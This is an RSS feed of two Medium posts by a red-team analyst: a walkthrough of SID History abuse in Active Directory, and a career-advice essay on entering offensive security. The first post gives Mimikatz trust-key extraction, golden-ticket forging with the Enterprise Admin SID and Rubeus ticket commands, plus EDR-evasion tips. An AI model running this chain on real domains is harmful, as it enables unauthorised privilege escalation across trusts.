<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by André Ricardo on Medium]]></title>
        <description><![CDATA[Stories by André Ricardo on Medium]]></description>
        <link>https://medium.com/@dedaricardo?source=rss-e036d78ddb6b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eal0MW9TD7THGHebJd4fHA@2x.jpeg</url>
            <title>Stories by André Ricardo on Medium</title>
            <link>https://medium.com/@dedaricardo?source=rss-e036d78ddb6b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 11:47:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dedaricardo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Beyond Domain Admin — SID History Abuse]]></title>
            <link>https://medium.com/@dedaricardo/beyond-domain-admin-sid-history-abuse-2cda637e2df1?source=rss-e036d78ddb6b------2</link>
            <guid isPermaLink="false">https://medium.com/p/2cda637e2df1</guid>
            <dc:creator><![CDATA[André Ricardo]]></dc:creator>
            <pubDate>Wed, 12 Feb 2025 15:46:10 GMT</pubDate>
            <atom:updated>2025-02-12T23:39:54.571Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Beyond Domain Admin — SID History Abuse</strong></h3><p>In my experience with AD Pentesting, while trying to understand and escalate privileges at Domain Level, one of the more intriguing (and potentially dangerous) aspects about AD Penetration testing is SID History. While originally designed to simplify domain migrations, SID History can be abused by adversaries to escalate privileges and bypass security controls. In this article, we’ll take a detailed journey through SID History abuse, including a step-by-step guide to help clarify the process. We’ll also touch on why some of these techniques can fly under the radar of modern EDRs (Endpoint Detection and Response systems) and explain why that is.</p><h3>Why Should You Care About SID History?</h3><p>Every user account in a Windows domain is identified by a <strong>Security Identifier (SID)</strong>. When a user logs in, their access token carries their <strong>SID</strong>, which Windows then uses to decide what resources that user can access. To make migrations between domains smoother, Active Directory supports a feature called <strong>SID History</strong>. This allows an account to carry additional, “old” <strong>SIDs</strong> from previous domains, ensuring that the user can still access legacy resources after a migration.</p><p>An attacker with sufficient privileges (typically <strong>Domain Admin-level</strong>) can inject <strong>high-privilege SIDs</strong> into a user’s <strong>SID History</strong>, granting them access to resources across domain boundaries.</p><h3>How Does SID History Abuse Work?</h3><ul><li><strong>Legacy and Migrated Domains:</strong> During migrations, accounts often retain <strong>SID History</strong> entries to avoid losing access. If not managed carefully, these entries become an attractive target.</li><li><strong>Cross-Domain Trusts:</strong> In environments with multiple domains (e.g., a parent domain and one or more child domains), the trust relationship can be exploited. An attacker compromising a less secure child domain can abuse SID History to gain elevated access in a more secure parent domain.</li><li><strong>Well-Known SIDs:</strong> Some <strong>SIDs</strong> are standardized (for example, the <strong>Enterprise Admins group RID is 519</strong>), meaning an attacker only needs to append this RID to the parent domain’s SID to simulate high privilege.</li></ul><h3>Step-by-Step Walkthrough Example</h3><h3>1. Identifying the Trust Relationship</h3><p>The attacker first identifies the <strong>trust relationships</strong> between the child domain (example.domain.local) and the parent domain (domain.local).</p><p>Using <strong>BloodHound</strong>, the trust between the domains is mapped:</p><pre>Invoke-BloodHound -CollectionMethod All</pre><p>After analyzing the results, it is confirmed that example.domain.local has an <strong>implicit trust relationship </strong>with domain.local, making SID History abuse a viable attack vector.</p><h3>2. Extracting the Trust Key</h3><p>To proceed with the attack, the attacker extracts the trust key, which is essential for crafting a forged Kerberos ticket.</p><p>Using <strong>Mimikatz</strong>:</p><pre>Invoke-Mimikatz &#39;lsadump::trust /patch&#39;</pre><p>This command retrieves the trust key from the domain controller (dc.domain.local), allowing the attacker to manipulate the authentication process.</p><h3>3. Crafting the Golden Ticket with SID History Injection</h3><p>The attacker then generates a <strong>Golden Ticket</strong> using Mimikatz, injecting the Enterprise Admin SID from the parent domain.</p><p>The standard parent domain SID format:</p><pre>S-1-5-21-&lt;PARENT-DOMAIN-SID&gt;</pre><p>The Enterprise Admin RID (519) is appended to create:</p><pre>S-1-5-21-&lt;PARENT-DOMAIN-SID&gt;-519</pre><p>Now, using Mimikatz to generate the Golden Ticket:</p><pre>Invoke-Mimikatz -Command &quot;kerberos::golden /user:&lt;user&gt; /domain:example.domain.local /sid:S-1-5-21-&lt;CHILD-DOMAIN-SID&gt; /sids:S-1-5-21-&lt;PARENT-DOMAIN-SID&gt;-519 /rc4:&lt;trust-key&gt; /service:krbtgt /target:domain.local /ticket:trust.kirbi&quot;</pre><p>This Golden Ticket now includes the Enterprise Admin SID, effectively escalating privileges.</p><h3>4. Requesting a Service Ticket to Access Domain Controller</h3><p>With the forged Golden Ticket, the attacker requests a TGS (Ticket Granting Service) ticket for a dc.domain.local service:</p><pre>.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/dc.domain.local /dc:dc.domain.local /ptt</pre><p>Verification of access:</p><pre>dir \\dc.domain.local\C$</pre><p>Hallelujah! We got it!!!</p><h3>Is it OPSEC-Safe (and EDR-Evasive)?</h3><p>One reason SID History abuse is attractive is that it leverages built-in AD features. Since the manipulation involves authentic AD attributes and Kerberos tickets, it can often slip past traditional EDR detections. The process itself is opsec-safe but the tools mentioned are not.</p><p>Tools like Mimikatz, BloodHound, and PowerView are well-known to defenders and this is the problem. Modifying their execution, using custom tooling, or encrypting payloads can help evade security solutions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2cda637e2df1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[7 essential tips that helped me to get into Offensive Security]]></title>
            <link>https://medium.com/@dedaricardo/7-essential-tips-that-helped-me-to-get-into-offensive-security-3c554783c678?source=rss-e036d78ddb6b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c554783c678</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[André Ricardo]]></dc:creator>
            <pubDate>Mon, 21 Aug 2023 11:03:53 GMT</pubDate>
            <atom:updated>2023-08-21T11:03:53.406Z</atom:updated>
            <content:encoded><![CDATA[<p>“Olá a todos”. That’s “Hello everybody” in Portuguese (Brazil) haha. Hi, I am André Ricardo, and I am a Senior Cyber Security Analyst — Red Team at Vivo (the largest telecommunications company in Brazil), and, as said, I am Brazilian. I am here to talk about the tips that I would have liked to receive before I entered in the Hacking field, so welcome to the exhilarating realm of Offensive Security! My objective in this article is to encourage the ones that like the field but don’t think that you were built for it or the ones inside that are struggling with a lot of doubts about Hacking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/0*fv0LYQtZnjsZB-C5" /></figure><p>Just a short introduction about myself, I never liked computers or technology. My mom was so frustrated that the world was developing a lot in the tech field and I just wanted to play soccer on the streets and do more “lived” activities. I only remembered to use the computer to print out paper for my school projects hahaha.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*aytVjkZdLWVB6he7" /></figure><p>But the big moment of a person’s life has come: What am I going to do after school?</p><p>I was always that guy who loved Numbers and Calculus so I thought, Engineering. But which one? I based my decision on which Math &amp; Science subjects I hated the most. Answer: Chemistry. I found out that Computer Engineering was the one that had fewer chemistry subjects than the others, so let’s do it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/0*UX5dLVnJ49Mq3x7F" /></figure><p>The first day at the University was a disaster. I walked into a room full of computers (I was late) and all the students were on this weird black screen full of colored letters and numbers that I had no idea about (it is the Terminal, by the way, I found out later hahah) and the teacher started to give us instructions for tasks to do. I was so lost that the teacher himself grabbed a chair and sat next to me to help me step by step with each task. I didn’t even know how to change the background image of the computer!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*WIgozi0bzWzowo0t" /></figure><p>So, the pandemic came one week after that and I was very determined to learn everything that I experienced, because, even with ZERO/NONE/NADA knowledge, I was in love with the field. I studied the whole college semester plan in one month and after that, I never stopped (YaY!!).</p><p>To discover which path to follow inside the technology industry, I got my teacher’s help. I always wanted to be a hacker, but this desire was always in a shadow because I thought that this was only meant for evil people.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/224/0*vt0_ybLFPgjP4XWF" /></figure><p>Yeah, I thought that. However, one day I was thinking about going into software development or backend or frontend or a million possibilities (I liked it all) and my teacher came to me and said: “Why don’t you go to the Penetration test field? Your desire to know it all will be very valued there.”. It was my child’s dream coming true. After that, I never stop learning and searching and hacking and it is my true love that I can confirm every day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/246/0*9OmcMB1_ljkS1D8v" /></figure><p>Yeah. That’s a little bit about me, but let’s focus on you now. Brace yourself for a roller coaster ride filled with challenges, discoveries, and a dash of humor. In this article, we will get into the depths of this fascinating field, exploring seven crucial aspects that are often overlooked. So fasten your seat belts, grab a cup of coffee, and prepare to embark on an unforgettable journey!</p><ol><li>It’s Not Easy, But It’s Worth It:</li></ol><p>Let’s face it, diving into Offensive Security is no walk in the park. It requires dedication, continuous learning, and a never-ending thirst for knowledge. The path is lined with obstacles, but the satisfaction of overcoming each one makes it all worthwhile. You’ll encounter sleepless nights, frustrating moments, and seemingly unsolvable puzzles, but remember, the harder the battle, the sweeter the victory! Embrace the challenges, celebrate the small wins, and persevere with determination. The journey may be tough, but the rewards are immeasurable. I can remember countless times that I was frustrated in a penetration test, because I didn’t find anything and suddenly, watching a TV Show after my job, I got a new idea (EUREKA!) that ended up with good findings on the test later. This feeling is super natural and it is totally worth it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/0*5v2RioWc2850bGDT" /></figure><p>2. It’s Not a Gift:</p><p>This was my biggest motivation. Just like programming, I thought that you could only be a hacker if you had HACKER SUPER POWERS. Man, that doesn’t exist. When I discovered that I could<strong> train </strong>my brain to think like a hacker, my world turned upside down. I started to see the field with other eyes, thinking: “I got it, I just need time to study and I can reach all the goals that I established!!”. Offensive Security is not a gift magically bestowed upon a chosen few. It’s a craft that demands time, effort, and perseverance to master. Hacking skills are honed through practice, countless hours of exploration, and a genuine passion for unraveling the secrets of cyberspace. The process of learning and growing as an ethical hacker is a continuous one, with no shortcuts or easy routes (but it is a lot of fun). Embrace the mindset of a craftsman, continually refining your skills, expanding your knowledge, and pushing the boundaries of your abilities. Every step of the journey contributes to your growth as a skilled practitioner. Remember, it’s the passion and dedication you bring to the craft that sets you apart from the rest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/205/0*alhxhJlup3E2Sgh2" /></figure><p>3. It’s Not an Individual Game:</p><p>This was another thing that I needed to keep in mind. Contrary to popular belief, hacking is not a solitary pursuit locked away in a dimly lit basement. Collaboration and teamwork are at the heart of Offensive Security. Engage with fellow hackers, join communities, attend conferences, and exchange knowledge. The collective intelligence of the cybersecurity community is a powerful force that drives innovation and growth. Sharing insights, techniques, and experiences not only enhances your own learning but also contributes to the collective advancement of the field. Cultivate relationships, build connections, and embrace the power of teamwork. Together, we can achieve more than any lone wolf ever could. I remember when I started, I never liked to ask questions to my superiors or my colleagues, because I thought they would think that I was dumb and that Hacker field was not my place…. WRONG! We need each other’s minds to grow and be more useful in tasks. 2,3,4,1000 thinking heads are better than one and everybody knows it. Besides that, a lot of tips of paths to study, good certifications to get and amazing tools to use, were ideas that came for me through the community! Don’t be alone in this field! A good hacker is a team hacker!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/0*AWUQONXNoZkoLWkL" /></figure><p>4. Certificates Don’t Define Your Capacity:</p><p>Certificates are not the be-all and end-all of your capabilities as an ethical hacker. They serve as validation of knowledge and skills, but they do not solely determine your worth. True expertise lies in the practical application of your abilities, the ability to adapt, and the knack for outsmarting the unknown. Don’t be defined by a piece of paper; let your actions speak for themselves. Focus on building a strong foundation of knowledge, engaging in real-world projects, and consistently challenging yourself. It’s the depth of your understanding, your problem-solving capabilities, and your creative approach that truly set you apart. Remember, it’s not the certificates that make you great, but your passion, curiosity, and willingness to learn. Sometimes you are not an exam person. Sometimes, the certificate format is not your thing. Either way, don’t let that bring you down, you know your value and, when you notice how great you are, other people are going to see it as well!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/248/0*2mVrOChY_Rsi6DOX" /></figure><p>5. Automation: The Double-Edged Sword:</p><p>Automation tools are a double-edged sword in Offensive Security. While they offer efficiency and speed, they should not become a crutch. Over-reliance on automation can hinder creativity and innovative problem-solving. Strive for a balance between utilizing automation tools and nurturing your ability to think outside the box. Understand the principles behind the tools, but don’t let them limit your exploration. It is cool to use a tool that is going to do in 5 minutes what you would have taken a year, but don’t fully rely on it; embrace the joy of manual investigation, dig into the intricate details, and unleash your creativity. And, who knows? With manual analysis, you can discover a better automated way to resolve the task that you did manually. Remember, true mastery comes from a combination of automated assistance and the unique insights and skills you bring to the table. And hey, don’t forget to find humor in those moments when automation doesn’t quite work as expected! I remember a bunch of false-positive findings that I got from tools that were literally insane… Company had 4 billion employees? All users’ passwords were “12345678”? Every user was an Administrator? Okay, this last one ended up being right hahah scary moments for this company. Use automation as an arm and not a head!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/0*-Dlot21DDfKYCCBq" /></figure><p>6. The Deep Web’s Hidden Secrets and Breached Credentials:</p><p>Ah, the enigmatic Deep Web! A treasure trove of intrigue and mystery. As an ethical hacker, you’ll encounter its secrets and may stumble upon breached credentials. In penetration tests, it was so useful to use the resources from the deep web, because I could find credentials, domains and a lot of information about the company that I was doing the test with! I created a script that could pull credentials from the main breached sites on the Deep Web, but this can be a topic for another moment (python is a powerful weapon!). It’s essential to handle this sensitive information responsibly, ensuring that you protect the privacy and security of individuals affected by such breaches. Ethical conduct remains paramount even in the midst of this dark digital labyrinth. Treat the data you come across with respect, adhere to legal and ethical boundaries, and prioritize the well-being of others. Remember, your actions as an ethical hacker should always be driven by a sense of responsibility and a commitment to doing good. And don’t forget, some of the stories and encounters from the Deep Web can be truly bizarre and amusing!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/236/0*WW93172RJK1L0fnT" /></figure><p>7. The Ethical Core: The Heart of Offensive Security:</p><p>Ethics are the backbone of Offensive Security. As ethical hackers, we have the power to make a positive impact and safeguard the digital landscape. Act responsibly, respect privacy, and prioritize the greater good. True success in this field is not measured solely by technical prowess but by the ability to make ethical decisions that protect and empower others. Understand the implications of your actions, consider the potential consequences, and let your moral compass guide you. Upholding ethical standards is not just an obligation but a privilege. You will find yourself with a lot of power: the ability to hack into your friend’s computer, the ability to change someone’s password, the ability to steal some company’s money. But those who have these intentions will not succeed in this area or in life. Embrace the opportunity to be a force for good in the ever-evolving world of Offensive Security. And remember, sometimes a well-placed joke or a lighthearted approach can diffuse tense situations and bring about positive change.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/205/0*2kkiYbDanp31hVYV" /></figure><p>Conclusion:</p><p>So there you have it — a humorous and emotional exploration of Offensive Security, unveiling the hidden truths and shedding light on the often-neglected aspects of this fascinating world. I appreciate you taking the time to read and I hope that you find this article helpful for your career and life. Remember, it’s not an easy journey, but with determination, collaboration, and an unwavering ethical compass, you can conquer the challenges and make your mark. Embrace the adventure, learn from the lows, cherish the highs, and above all, never forget to find humor in the quirks of this thrilling field. Welcome to the wild, wonderful realm of Offensive Security, where laughter, heart, and hacking go hand in hand!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c554783c678" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>